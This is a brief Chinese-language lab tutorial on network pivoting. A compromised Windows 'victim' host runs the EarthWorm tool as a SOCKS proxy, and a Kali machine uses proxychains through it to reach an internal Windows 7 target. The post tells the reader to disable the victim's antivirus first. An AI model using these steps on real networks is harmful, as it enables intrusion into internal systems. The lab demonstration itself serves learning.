环境
攻击机在公网,目标机在内网,无法直接连接访问,就需要利用一个能同时连接内网和公网的受害机
受害机开代理,在公网的攻击机就可以通过代理来访问在内网的目标机
※抱歉我没有同时存在两个网段的,此文章只为做个过程演示!重在理解重在理解……
攻击机:kali 192.168.50.183
受害机:win10 192.168.50.225
目标机:win7 192.168.50.25
过程
受害机里开代理
(开代理之前关掉受害机的杀软,确保exe的文件存在)
在此文件目录打开cmd
在cmd命令行输入
ew_for_Win.exe -s ssocksd -l 6666
这样👇就可以了
在攻击机配置proxychains.conf文件
如果打开文件是空的证明本身是没有这个文件的,可以cd /etc/
查看一下有没有这个文件,我的文件名是proxychains4.conf
vim /etc/proxychains4.conf
i #打开的文件默认只读模式,按i开始编辑文件
:wq #编辑完后输入:wq回车退出
在文件的最后修改成受害机IP及端口
代理使用方式(在攻击机用)
proxychains firefox 192.168.50.25 #“Firefox”是指通过什么去访问,可换 / IP则是受害机内网IP